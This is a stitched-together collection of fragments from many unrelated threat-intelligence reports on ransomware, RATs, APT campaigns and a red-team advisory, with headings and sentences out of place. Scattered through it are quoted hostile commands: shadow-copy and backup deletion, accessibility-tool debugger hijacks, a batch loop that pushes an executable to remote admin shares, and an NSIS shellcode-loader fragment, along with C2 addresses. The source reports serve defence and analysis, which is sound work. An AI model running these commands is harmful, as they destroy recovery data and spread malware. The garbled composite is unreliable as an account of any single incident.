42 researchers have observed that cleanup scripts from other threat actors are usually smaller and more specific to the tools used by that actor.


The tool is also password protected, which adds an extra layer of complexity when ascertaining the program’s functionality.


Upon execution, the batch file makes the following changes to the system: Disables the User Account Control (UAC) and sets cmd.exe as a debugger for HelpPane.exe, utilman.exe, Magnify.exe and sethc.exe.


TA0005 Defense Evasion T1027.


This lack of security community awareness allows Trigona to discreetly attack victims while other higher-profile ransomware operations dominate the news headlines.


[T1140], Match Legitimate Name or Location


[T1036.005], Disable Windows Event Logging


[T1562.002], Obfuscated Files or Information [T1027], Clear Windows Event Logs


System Information Discovery


[T1082], Network Service Discovery [T1046], Permission Groups Discovery


[T1082], Network Service Discovery [T1046], Permission Groups Discovery [T1069] Next-Generation Firewalls Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Port Scan Lateral Movement


This backdoor enables Threat Actors (TAs) to exfiltrate system information, files, and other sensitive data from the targeted victim’s machine.

SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations


The infection process initiates through a spam email comprising an attached MS Office document named “[FINAL] Hiroshima Action Statement for Resilient Global Food Security_trackchanged.docx.”


Figure 2 – Spam email containing malicious doc attachment


Once the RTF file is executed, it proceeds to decrypt and drops an embedded payload, which is a DLL file saved under the name “c6gt.b” in the %temp% directory.


Figure 5 – Embedded payload in RTF file Once the persistence is established, the RTF file proceeds to execute the downloaded DLL payload by utilizing the “rundll32.exe” command as follows:


It contains four export functions, as depicted below.


If they deem the victim’s machine to be intriguing, the C&C server responds with the next stage executable.


Block URLs that could be used to spread the malware, e.g., Torrent/Warez.


Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment.


In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them.


LegalNoticeText /t


LegalNoticeCaption /t


/v


DefaultUserName /t


This is likely intended to override the default behavior and not discover network shares to encrypt their files.


With no active defenses (Antivirus or Endpoint Protection) the system comes up and tries to start its defined shell which has been swapped to a batch script (file2.bat) by the malicious actor.


Bringing the host back online in this state will still continue to execute the malware when logged into, which will also enable the default network spreading behavior.bcdedit /deletevalue


There have been some flags that are noted to exist, but their features are not documented.


Rapid7 has analyzed the behaviors of these flags, documented them in addition to discovering two new flags (-timer, -low-key) in the HIVE ransomware samples.


The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies (malicious use of vssadmin.exe, wmic.exe), deleting backup catalogs (malicious use of wbadmin.exe), and disabling Windows Recovery Mode (malicious use of bcdedit.exe).


Will also skip enumeration and stopping of antivirus software.-no-local--no-localDo not encrypt local files-no-mounted--no-mountedDo not encrypted mounted filesystems-no-discovery--no-discoveryDo not enumerate or encrypt file shares on the network-local-only--local-onlyOnly encrypt local file systems-network-only--network-onlyOnly encrypt file shares on the network.-explicit-only--explicit-onlyOnly encrypt files in this specific path specified-min-size--min-sizeOnly encrypt files greater than or equal to a specific number of bytes-t-timer--timerDo not encrypt files until after specified number of secondsBy default, the ransomware will execute the following child processes with the following arguments:Use of vssadmin.exe in order to delete shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:"C:\Windows\System32\vssadmin.exe" delete shadows /all /quietUse of wmic.exe to create calls that also delete all shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:"C:\Windows\System32\wbem\WMIC.exe" shadowcopy deleteUse of wbadmin.exe to delete backup catalogs:"C:\Windows\System32\wbadmin.exe" delete systemstatebackup"C:\Windows\System32\wbadmin.exe" delete catalog-quiet"C:\Windows\System32\wbadmin.exe" delete systemstatebackup -keepVersions:3Use of bcdedit.exe to disable automatic repair and ignore errors when booting:"C:\Windows\System32\bcdedit.exe" /set


Create AccountT1136.001 - Local AccountT1140 - Deobfuscate/Decode Files Or InformationT1197 - BITS JobsT1480 - Execution GuardrailsT1484 - Domain Policy ModificationT1484.001 - Group Policy ModificationT1485 - Data DestructionT1486 - Data Encrypted For ImpactT1489 - Service StopT1490 - Inhibit System RecoveryT1529 - System Shutdown/RebootT1547 - Boot Or Logon Autostart ExecutionT1560 - Archive Collected DataT1560.001 -


We also noted more sophisticated encryption and basic anti-analysis techniques, such as byte remapping and web browser communication blocking.

ViperSoftX Updates Encryption Steals Data


In blocking and detecting these illicit software solutions, we have come to believe that the people behind these kinds of software try to convince users looking for bootleg software versions that these are not malicious and are simply flagged as “false positives.”


Through all the samples we analyzed, we consistently observed the following binary carriers: gup.exe from Notepad++ firefox.exe from Tor ErrorReportClient.exe from Magix, a type of multimedia-editing software Figure 2.


Execution flow of ViperSoftX ViperSoftX first checks for a few virtualization strings and monitoring tools to check if the system is running a virtual machine (VM).


From there, the routine is its standard multistage download and execution routine.


For their part, cybercriminals benefit from this malware as it reduces the presence and actions made by a large graph of objects.


As of this writing, the most recent piece of malware that uses this technique is the JavaScript- or Windows Scripting File-packed Magniber ransomware.


ViperSoftX scans for these cryptocurrency wallets in local directories: Armory Atomic Wallet Binance Bitcoin Blockstream Green Coinomi Delta Electrum Exodus Guarda Jaxx Liberty Ledger Live Trezor Bridge


Install browser components: Brave Browser Chrome Firefox Microsoft Edge Opera The updated version of ViperSoftX includes a check mechanism for two password managers, namely KeePass 2 and 1Password.


Noting the malware’s capability to scann KeePass, we looked into the possible abuse of the KeePass security gap CVE-2023-24055, which forces the application to dump stored passwords in plain text (a feature already disabled in recent patches and versions).


According to our investigation, although there are low numbers of victims related to the exploit, the said detections do not appear related to ViperSoftX victims.


scanning browser extensions and directories for wallets and password managers Victims affected: Consumers and businesses alike Due to the nature of its arrival technique, we primarily assumed that the targets and victims would be regular users.


The cybercriminals behind ViperSoftX are also skilled enough to execute a seamless chain for malware execution while staying under the radar of authorities by selecting one of the most effective methods for delivering malware to consumers.


Download the PDF version of this report: CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks (PDF, 1.06 MB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.


The “victim” for this assessment was a large organization with multiple geographically separated sites throughout the United States.


For this assessment, the red team’s goal during Phase I was to gain access to certain sensitive business systems (SBSs).


There were 52 hosts in the AD that had Unconstrained Delegation enabled and a lastlogon timestamp within 30 days of the query.


To obtain the credentials, the team took a snapshot of lsass.exe


The team then exploited the Unconstrained Delegation misconfiguration to steal the DC’s TGT.


[T1003.006] for the krbtgt account and several privileged accounts—including domain admins, workstation admins, and a system center configuration management (SCCM) service account (SCCM Account 1).


The team first impersonated the SCCM Account 1 and moved laterally to a Site 1 SCCM distribution point (DP) server (SCCM Server 1) that had direct network access to Workstation 2.


Listed existing network connections


[T1049] on SCCM Server 1, which revealed an active Server Message Block (SMB) connection from SCCM Server 2. Attempted to move laterally to the SCCM Server 2 via AppDomain hijacking, but the HTTPS beacon failed to call back.


The team also moved from SCCM Server 1 to a Site 1 workstation (Workstation 3) that housed an active server administrator.


At the organization’s request, the red team confirmed that SCCM Server 2 provided access to the organization’s sites because firewall rules allowed SMB traffic to SCCM servers at all other sites.


The team leveraged access available from SCCM 2 to move around the organization’s network for post-exploitation activities (See Post-Exploitation Activity section).


DLL) hijacking


An MFA prompt blocked the team from moving to SBS 2, and Phase I ended before they could implement potential workarounds.


Adding previously collected AD data to this discovery, the team was able to identify a specific SBS 1 admin account.


Resetting permissions back to their original state by removing the policy via the MDM API and removing Create Policy and Delete Policy and administrator permissions and from the MDM user’s account.


While interacting with Workstation 4, the team found an open SSH socket file and a corresponding netstat connection to a host that the team identified as a bastion host from architecture documentation found on Workstation 4.


They found a security operations (SecOps) network diagram detailing the network boundaries between Site 5 SecOps on-premises systems, Site 5 non-SecOps on-premises systems, and Site 5 SecOps cloud infrastructure.


Using their access to the MDM MySQL database, the team queried potential targets to (1) determine the target’s last contact time with the MDM and (2) ensure any policy targeting the target’s workstation would run relatively quickly [T1596.005].


Note: Merlin is a post-exploit tool that leverages HTTP protocols for C2 traffic.


The team used these platforms to create flexible and dynamic redirect servers to send traffic to the team’s Cobalt Strike servers [T1090.002].


The team used domain fronting [T1090.004] to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.


This technique, which also leverages CDNs, allows the beacon to appear to connect to third-party domains, such as nytimes.com, when it is actually connecting to the team’s redirect server. Phase II: Red Team Measurable Events Activity


The red team executed 13 measurable events designed to provoke a response from the people, processes, and technology defending the organization’s network.


Data Exfiltration—1 GB of Data Send a large amount (1 GB) of mock sensitive information to an external system over various protocols, including ICMP, DNS, FTP, and/or HTTP/S. Exfiltration Over Alternative


[T1531] Windows Event Logs End User Reporting Detect and Identify source IP and source process of exfiltration Analyze host used for exfiltration once detected Develop response plan None Local Admin User Account Creation (workstation) Create a local administrator account on a target workstation system.


Create Account: Local Account [T1136.001] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner Develop response plan


[T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Trigger Host-Based Protection—Domain Controller Upload and execute a well-known (e.g., with a signature) malicious file to a target DC system to generate host-based alerts.


The organization failed to detect lateral movement, persistence, and C2 activity via their intrusion detection or prevention systems, endpoint protection platform, web proxy logs, and Windows event logs.


The team discovered several standard user accounts that have local administrator access to critical servers.


Some workstations allowed unprivileged accounts to have local administrator access; for example, the red team discovered an ordinary user account in the local admin group for the SharePoint server.


Lack of server egress control.


Inconsistent host configuration.


For example, some workstations had “Server Admins” or “Domain Admins” as local administrators, and other workstations had neither.


Service account passwords were strong.


This is a critical strength because it slowed the team from moving around the network in the initial parts of the Phase I.


These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST).


Tune host-based products to detect anomalous binaries, lateral movement, and persistence techniques.


This could help detect some of the pass-the-ticket, DCSync, and other techniques described in this report.


[CPG 1.1]. Conduct regular assessments to ensure processes and procedures are up to date and can be followed by security staff and end users.


The password must be changed twice to effectively invalidate the old credentials.


If an individual user needs administrative rights over their workstation, use a separate account that does not have administrative access to other hosts, such as servers. Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources


If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., constrained delegation) or explore whether systems can be retired or further isolated from the enterprise.


[CPG 5.1].


[CPG 2.1].


Remove unnecessary, extraneous software from servers and workstations.


Regular changing of memorized passwords can lead to predictable patterns, and both CISA and the National Institute of Standards and Technology (NIST) recommend against changing passwords on regular intervals.


CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.


RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities.


Gather Victim Identify Information: Employee Names T1589.003


The team conducted open-source research to identify the physical locations of upkeep/management staff of selected assets.


Obtain Capabilities: Tool T1588.002 The team used the following tools: Cobalt Strike and Merlin payloads for C2. KeeThief to obtain a decryption key from a KeePass database Rubeus and DFSCoerce in an NTLM relay attack Initial Access Technique Title ID Use Phishing: Spearphishing Link T1566.002


The team then deployed Rubeus to capture the incoming DC TGT. Steal or Forge Kerberos Tickets: Golden Ticket T1558.001


The team used the acquired krbtgt account hash throughout their assessment to forge legitimate TGTs. Steal or Forge Kerberos Tickets: Kerberoasting T1558.003 The team leveraged Rubeus and DFSCoerce in a NTLM relay attack to obtain the DC’s TGT from a host with Unconstrained Delegation enabled.


Discovery Technique Title ID Use System Network Configuration Discovery T1016


Cloud Infrastructure Discovery T1580 The team found SecOps network diagrams on a host detailing cloud infrastructure boundaries.


During Phase II, the team enumerated the AD for current session information from every domain computer (Workstation and Server).


Lateral Movement Technique Title ID Use Remote Services: SMB/Windows Admin Shares T1021.002


During Phase II, they used compromised workstation and domain admin accounts to upload a payload via SMB on several target Workstations and the DC.


The team used the asktgt command to impersonate accounts for which they had credentials by requesting account TGTs. Command and Control Technique Title ID Use Application Layer Protocol T1071 The team remotely enumerated the local administrators group on target hosts to find valid user accounts.


NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and McAfee research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.


For more details on NetWalker, see the McAfee ATR blog here.


Mitigating the risk of attacks like NetWalker requires a security architecture with the right controls at the device, on the network and in security operations (sec ops).


For ransomware, and NetWalker in particular, the controls must be layered throughout the enterprise.


For more information on how McAfee can protect against suspicious email attachments, review this additional blog post. Using valid accounts and protocols, such as for Remote Desktop Protocol, is an attack technique we have seen rise during the initial COVID-19 period.


PowerShell Script CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Service Execution (T1569.002)


PS Exec CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Command and Scripting Interpreter (T1059.003) Windows Command Shell CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Native API (T1106) Use Windows API functions to inject DLL CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Windows Management Instrumentation ((T1047)


NL Brute CSC 4 Controlled use of admin privileges CSC 16 Account Monitoring Enterprise Security Manager – Log Analysis Impact Stage Defensive Overview


The impact stage is where the attacker encrypts the target system, data and perhaps moves laterally to other systems on the network.


CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Enterprise Security Manger – Log Collection and Analysis Collection Data from local system (T1005)


McAfee ePO centralizes event collection from all managed endpoint systems.


This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to NetWalker and attackers using similar techniques.


INTRODUCTION Quadrant was recently able to aid a client during an organization wide compromise by the Black Basta ransomware group.

Technical Analysis Black Basta Malware Overview


The following contains an overview of the compromise as it progressed, as well a technical analysis of the malware and techniques observed, ranging from a successful phishing campaign to the attempted ransomware detonation.


The names of all clients, all accounts, and some files have been modified for client confidentiality.


Following initial phishing emails, the threat actor continued to submit additional phishing emails to the client via similar account names from different domains.


Both samples reached their victims shortly after noon on the 20th of September


One may assume that traffic over 2222 would be SSH traffic, however further analysis of the traffic generated by the Qakbot Sample in the lab shows that this connection was likely HTTPS in nature.


This technique was observed in the Commerce environment through a sharp incline of Kerberos requests using RC4 encryption.


Once administrative access had been achieved, the threat actor also added new administrative accounts to the environment.


The other, targeting Windows Defender, required multiple steps in order to view the commands.


Once a file server was identified, an FTP connection was established to an external site.


RClone is designed to transfer large volumes of data from one host to the cloud with ease.


From the analyst's perspective, the only alert that was generated and brought to the SOC was a Suricata FTP rule looking for CVE 1999-0911, related to an overflow using the MKD command.


However, with the amount of knowledge of the situation and years of experience on his side, a member of the I.R. team decided to look at the raw logs in real time to see if anything stood out.


Ultimately, this was considered a success in defense of the client.


When downloaded, the initial attachment is a local HTML file.


The web page claims to be an adobe site and that the attached document is a PDF which is password protected: Using the password "abc888" to unzip the attachment, the user is presented with an ISO file.


Clicking on these calls the corresponding JavaScript file contained within each iso.


According to Suricata logs, this was also the first IP that was reached out to via 2222.


The largest connection between P0 and the C2 domain.


POTENTIAL COBALT STRIKE INSTALLATION - TOX5.EXE Initial static review of the tox5 sample did not reveal much information, indicators show that this may have the ability to clear event logs.


Although no obvious signs of compromise were apparent to the user of the infected host, a review of the network traffic from the host showed the newly installed program reached out to "gerhiles[.]com", which had been observed during the incident as a Command and Control site.


Although no direct RPC actions were observed, possibly from lack of logging or the method of RPC use, multiple logs throughout the incident show the transfer of files using SMB.


Showing the Transfer of Cobalt Strike Beacons using RDPClip: The first part of the command is below, with the payload redacted for size and ease of readability.


This occurred immediately following the clipboard transfer of the command "net stop Cisco AMP".


The second encoded Base64 string was not only base64 but also Gziped for size and obfuscation.


Leveraging the Cobalt Strike payload decoder from Github user "0xtornado" shows that the payloads were sent using the user agent below.


Also note the use of "-forcepath" and "-bomb".


This uses a mixture of disguising the ASCII as UTF-16 via manipulating the start of the file, as well as obfuscating the data using a simple cypher.


Over the past several years, multiple cyber security firms and the FBI have posted increased observation of the use of “RClone” to exfil data.


Suricata Flow log from "Subsidiary PIE" to the IP resolved for “Rclone”.


(Other logs are available showing the DNS request and download of RClone for the Construction domain as well): ENCRYPTION VIA BLACK BASTA RANSOMWARE


It is expected that the different naming schemes are related to the different variations of the ransomware.


Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which indicates the creation of a Mutex: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which shows the addition of "Fax" to the registry allowing it to start in Safemode: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON which shows the use of BCDEdit to restart the host into safemode with networking:


Instruction in the file readme.txt" the only files still accessible to the user are the "readme" files.


According to the recent writeups above, this indicates that this is one of the newest renditions of the malware.


The lab environment consisted of three Virtual Machines running inside of VMWare Workstation 16 Pro.


The network was configured not to allow any connection to the internet.


HOST 1: ANALYSIS HOST


This was done in order to all the malware to communicate with the hard coded IP’s without allowing commination to a C2 host.


FakeDNS: A fake DNS service which responds with a predetermined IP.


This host was used for detonation of the malware samples provided by the client.


This host only receives windows logging from Host 2. INDEX C: LIST OF SAGAN RULES DEVELOPED FROM THIS INCIDENT Rules that were developed following this incident.


A full list of Sagan Rules can be found on github.com/quadrantsec/sagan-rules Rule Name SID [CISCO-SECUREENDPOINT] Exploit attempt was detected 5008352


[WINDOWS-CLIPBOARD] rwinsta command 5008376 [WINDOWS-CLIPBOARD] nltest command 5008377


[WINDOWS-CLIPBOARD] bitsadmin file transfer command 5008381


[WINDOWS-SECURITY] Service being stopped by net command v1 5008343


[WINDOWS-SECURITY]


[WINDOWS-SECURITY] Copied rundll32 command executing non-standard dll 5008348


[WINDOWS-SECURITY] Possible UAC Bypass - Rundll32.exe using DLLRegister 5008351


By: Trend Micro March 27, 2023Read time: ( words) Save to Folio Subscribe Since 2022, we’ve been following a series of cyberespionage efforts carried out by multiple groups carried from an old campaign.

Earth Pretas Cyberespionage Campaign Hits Over 200


It combines the collective activities carried out by subgroups of advanced persistent threat (APT) group Earth Preta (also known as Mustang Panda), representing a comprehensive network of operations for gathering sensitive information from various entities.


A change in targets.


With this entry, we hope to emphasize the importance of international cooperation in combating this significant threat.


and exfiltrated documents to drive F:.


The group uses a USB drive as an entry point into a target's system, indicating its preference for leveraging physical vectors for intrusion.


The group has been observed targeting sectors such as finance, government, manufacturing, fabrication, construction, energy, transportation, air traffic, and food production.


These customized devices appear to be carefully crafted to bypass security measures and appear legitimate to the target.


Group 1358 Group 1358 is a highly sophisticated threat actor that employs advanced tactics and techniques to infiltrate and compromise a wide range of targets worldwide.


This group is potentially composed of several operating groups utilizing the same tools and techniques.


This group’s choice of malware is PlugX, an older and well-known remote access tool.


The group uses DLL sideloading with Adobe CEF Helper and establishes persistence in the RECYCLERS.BIN folder.


This method allows the group to bypass traditional security measures and gain access to their targets undetected.


Given the scale and sophistication of Earth Preta’s cyberespionage operations, the international community needs to take proactive measures to defend against this significant threat.


This updated information changed our view on the evidence initially gathered by Unit 42 researchers.

Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign


The following is an update of our original blog, more accurately aligned to the current intelligence community information regarding WatchDog’s mimicry of TeamTNT operations.


With the identification of these new WatchDog scripts, Unit 42 researchers found that techniques that have been synonymous with the TeamTNT group have gone missing.


It appears that WatchDog may be attempting to expand their cryptojacking operations, while simultaneously masking their operations to appear more like the known cryptojacking operations performed by TeamTNT.


The stealing, hijacking or incorporation of cryptojacking TTPs within other cryptojacking operations has become a common trend within cryptojacking groups.


New WatchDog Malware There are two samples that show the evolution of WatchDog techniques to mimic TeamTNT operations, 36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79 and 49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d.


Malware samples with hardcoded f2pool mining pool operation workers.


Identification and killing of processes using the WatchDog Monero address.


The same MOxmrigMOD URL address as the known TeamTNT IoC shown within Figure 9 is present, but in this sample we also see additional URL addresses that have very strong ties to WatchDog infrastructure, specifically those involving the domain name oracle.zzhreceive[.]top.


WatchDog Monero wallet address within TeamTNT infrastructure.


The b.sh script contains the 43xb TeamTNT and WatchDog Monero wallet address and points to the 199.19.226[.]117 TeamTNT and WatchDog IP addresses (Figure 15).


Known TeamTnT domain borg[.]wtf.


The correlations between TeamTNT and WatchDog are intrinsically connected with this b.sh script.


It’s also noteworthy that the new operation does not incorporate the more advanced GoLang binaries traditionally associated with WatchDog, which are capable of exploiting Windows- or NIX-based operating systems.


Unit 42 researchers will continue to monitor this cryptojacking event and provide updates as needed.


Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.


Use cloud infrastructure configuration scanning tools that enable governance, risk management and compliance (GRC) to identify potentially threatening misconfigurations.


The websites and installers downloaded from them are mostly in Chinese and in some cases falsely offer Chinese language versions of software that is not available in China.

These arent the apps youre looking for fake installers targeting Southeast and East Asia


Some of these websites look identical to their legitimate counterparts but deliver malicious installers instead.


The other websites, possibly translated by the attackers, offer Chinese language versions of software that is not available in China, such as Telegram, as shown in Figure 3. Figure 3.


Fake Telegram website that delivers the FatalRAT malware We observed malicious websites and installers for these applications, roughly in order of popularity: Chrome Firefox Telegram WhatsApp Line Signal Skype Electrum Bitcoin wallet Sogou Pinyin Method, a Chinese Pinyin input method editor Youdao, a dictionary and translation application WPS Office, a free office suite You can see other fake websites in the gallery shown in Figure 4 (click on an image to enlarge it).


An example is shown in Figure 5 (image from the original post above).


Search results for Firefox, with a fake website advertised (image credit: landiannews.com)


Figure 6 shows the malicious installers that the attackers uploaded to the cloud storage on January 6th, 2023.


Malicious installers uploaded by the attackers to their cloud storage on January 6th, 2023 When these installers are executed, they usually: Drop and execute the malicious loader, and files needed to run the FatalRAT malware, in the %PROGRAMDATA%\Progtmy directory.


It is possible that the attackers are solely interested in the theft of information like web credentials to sell them on underground forums or to use them for another type of crimeware campaign, but for now specific attribution of this campaign to a known or new threat actor is not possible.


B6F068F73A8F8F3F2DA1C55277E098B98F7963EC电报中文-setup.msi (machine translation: Telegram Chinese)Win32/Agent.


BRMalicious installer (older version).


T1583.003Acquire Infrastructure : Virtual Private ServerThe attackers acquired VPS servers to store their malicious websites.


T1608.001Stage Capabilities: Upload MalwareThe attackers uploaded their malicious MSI files to Alibaba Cloud Object Storage Service.


T1027.007Obfuscated Files or Information:


Dynamic API ResolutionThe loaders use dynamic API resolution to avoid detection.


The sender was very conversational and personable in the messages, helpfully offering that the Zip archive contains “in addition to my tax transcripts for the past two years…a copy of my driver’s license.”

Tax firms targeted by precision malware attacks


When someone tries to double-click these decoy files, Windows (or the application mapped to the relevant filetype) throws an error because the file isn’t the type of file it appears to be.


The VBS contains two large variables.


In the script we analyzed, these were named Ir8 and O7, respectively, but although the variable names were slightly modified in each variant of the script we examined, the overall flow was the same.


On one machine, we found that the malware injected itself, using process hollowing, into ielowutil.exe, used by the now defunct Internet Explorer browser for tuning the microphone settings in the browser.


Once infected, the ielowutil.exe binary constantly attempts to contact its command–and-control server, on 64.44.101.171:9191.


address above.


As such, it’s very prudent to be cautious when you’re approached by potential new clients.


If they provide a password, unzip the file and then scan the contents with an endpoint security tool before opening them.


When in doubt, you can also right-click (not left-click) the icon, one click only, and choose Properties.


Even though the Properties sheet won’t display the Powershell command, if the file is a Shortcut it will have a Shortcut tab (normal document files won’t have those) and it accurately shows that the “Target type” is a Visual Basic Script (VBScript Script File).


The attackers, in this case, seemed to limit their communication to email.


GoSecure researchers received a sample from the IDR team which was suspected of being BazarLoader, named Report Preview15-10.exe, on 2020-10-06.

BazarLoader Mocks Researchers in December 2020 Malspam Campaign


Shortly after, GoSecure researchers received yet another BazarLoader sample on 2020-10-08 named Document2-85.exe, which exhibited similar behavior.


The executable Review_Report15-10.exe (3c27fca6d9cf1379eee93e6fea339e61) will appear as a PDF document to users who do not have extensions enabled in Windows, as seen in Figure 3. Figure 3: Stage 1 PDF Icon Lure To help obfuscate its purpose, BazarLoader appears to be bound or obfuscated with legitimate resources from YUVPlayer (A Lightweight YUV player which supports various YUV formats).


The next function is responsible for copying the shellcode from the .data section to the newly allocated memory location.


Once the encrypted shellcode has been copied to executable memory, it will then use advapi32.CryptEncrypt to decrypt the shellcode.


On different debugging sessions the virtual addressing changed during analysis.


The call to kernel32.CreateMutexA can be seen in Figure 13. Figure 13: Mutex Creation Interestingly, BazarLoader will check for mutexes twice.


Figure 16: BazarLoader C2 Download Domain HEAD Request


This can be seen in Figures 20 and 21. Figure 20: Updated Main Shellcode Decryption/Execution Routine Figure 21: Obtain Encrypted Pointer to Encrypted Shellcode from the Resource Section Figure 22:


We initially assumed that this was yet another attack on corporate networks with a common variety of ransomware.

Investigation with a twist an accidental APT attack and averted data destruction


In this article, we will share the results of our investigation of this targeted attack, which started with the compromise of a foreign office.


A large number of damaged files is itself a very visible attack indicator that enabled detecting the intrusion.


We believe that the initial entry point to the foreign office's network was a vulnerable server on the network perimeter.


Because use of Mimikatz was likely blocked by endpoint security software, the attackers were forced to run bruteforcing offline.


Here we have provided a timeline to better show the sequence of events.


The method used to run the ransomware is classic and, indeed, characteristic of certain Asian groups.


GDFInstall.exe (MD5: 13435101240f78367123ef01a938c560) is a legitimate computer game component signed by Ubisoft.


This component is not actually legitimate, however: attacker code is executed after the GameExplorerInstallW symbol is exported.


.dbf .dds


.dmg .dmp .doc .docx .dtd .dwg


.ged .gif .gz


.jsp .key .keychain .log .lua


.mid .mov .mp3 .mp4


Each approach involves a different encryption key.


It is identical for all files and is used with a hard-coded salt and 1,000 iterations to generate the encryption key and initialization vector.


The .locked extension is added to encrypted files.


In this case, the 16-byte encryption key is formed by taking the first 8 bytes from the base encryption key and the remaining 8 bytes from an additional hard-coded array.


This is followed by a custom implementation of AES-ECB.


This method was likely to chosen to speed up the encryption process.


Therefore, the original files can also be recovered from unallocated disk space if they have not yet been overwritten with fresh information.


You're the one who has to walk through it.


The malware subsequently repeats the same procedure for deleting system event logs and shadow copies that it performed at the start.


Currently, there are no methods that are both cheap and fast for factoring a key of such size.


So we tried another tactic.


TickCount variable.


%%i in (c:\programdata\list.txt) do ( net use \\%%i\c$ "*" /u:*\administrator copy c:\programdata\vmnat.exe \\%%i\c$\windows\system32\vmnat.exe SCHTASKS /Create /S


c:\programdata\no_access.txt ) ) (We replaced sensitive information with '*')


Some of the commands are too general to tell, since they could have been found in online search results and reused.


Symmetric Cryptography Exfiltration T1020 Automated Exfiltration T1041 Exfiltration Over C2 Channel Impact T1486 Data Encrypted for Impact IOCs ChinaChopper: 2ce60073c09887f9e3a482097294e17d 5bc0d6918e03a92f04b3dfc21b619c7f 73717a2f9bfe19ccdad541bec1fa2b69 82a8470534d74c9c5c0d84071eb0a703 b89e96e2ea8dd6fdb438f7d5b8ecf60c TwoFace: 581c331d41ef5f5df99ae0d16b2cebf0 84816f2e1f321f45c15c80b5cd6b4d37 ff2693903a1049984745e79381e9ed7e SysUpdate: 3c1981991cce3b329902288bb2354728 43a2c2fb8d52dc1835ac18516b13aff1 4b5484e3de5c5a2e60fcee50d04183d6 SysUpdate C&C: 103.59.144[.]183 95.179.189[.]33 NBTScan: f01a9a2d1e31332ed36c1a4d2839f412 SMBTouch: b50fff074764b3a29a00b245e4d0c863 PsExec: aeee996fd3484f28e5cd85fe26b6bdcd Termite: dc92496358b8e67568a35b861ba1804e39e3d36b Dsquery: 3583d7c971de148a1ffb3302d1510ef1 EternalBlue:


Phishing campaign analysis What we have observed is that the link in the phishing email points to Amazon Web Services click tracking service at awstrack[.]me.

Threat actors strive to cause Tax Day headaches


Unpacked file names referencing tax documents in the malware In some cases, GuLoader was used to execute shellcode and subsequently download Remcos on the target system.


Successful delivery of a Remcos payload could provide an attacker the opportunity to take control of the target device to steal information and/or move laterally through the target network.


Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities:taking full control of the infected machinerecording keystrokes in real time with offline logging availableaccessing live web cam feeds including microphone recordingdownloading files remotelyremote shutdown and rebootdisabling user inputOver

OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


The outer layer made of a popular and legitimate tool makes for a perfect cover.


We wrote about unpacking them in the past, i.e. here, and here.


With time their internal structure has evolved, so we decided to revisit them and describe the inside again using samples from some of the Formbook stealer campaigns.


$INSTDIR File 5e9ikl8w3iif7ipp6 File 3ugs67ip868x5n File tjdorfrldbgdlq System::Alloc 1024 Pop $0 System::Call "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10" System::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1" System::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0)


i .r3


If loading the next stage has failed, the installer will restart itself.


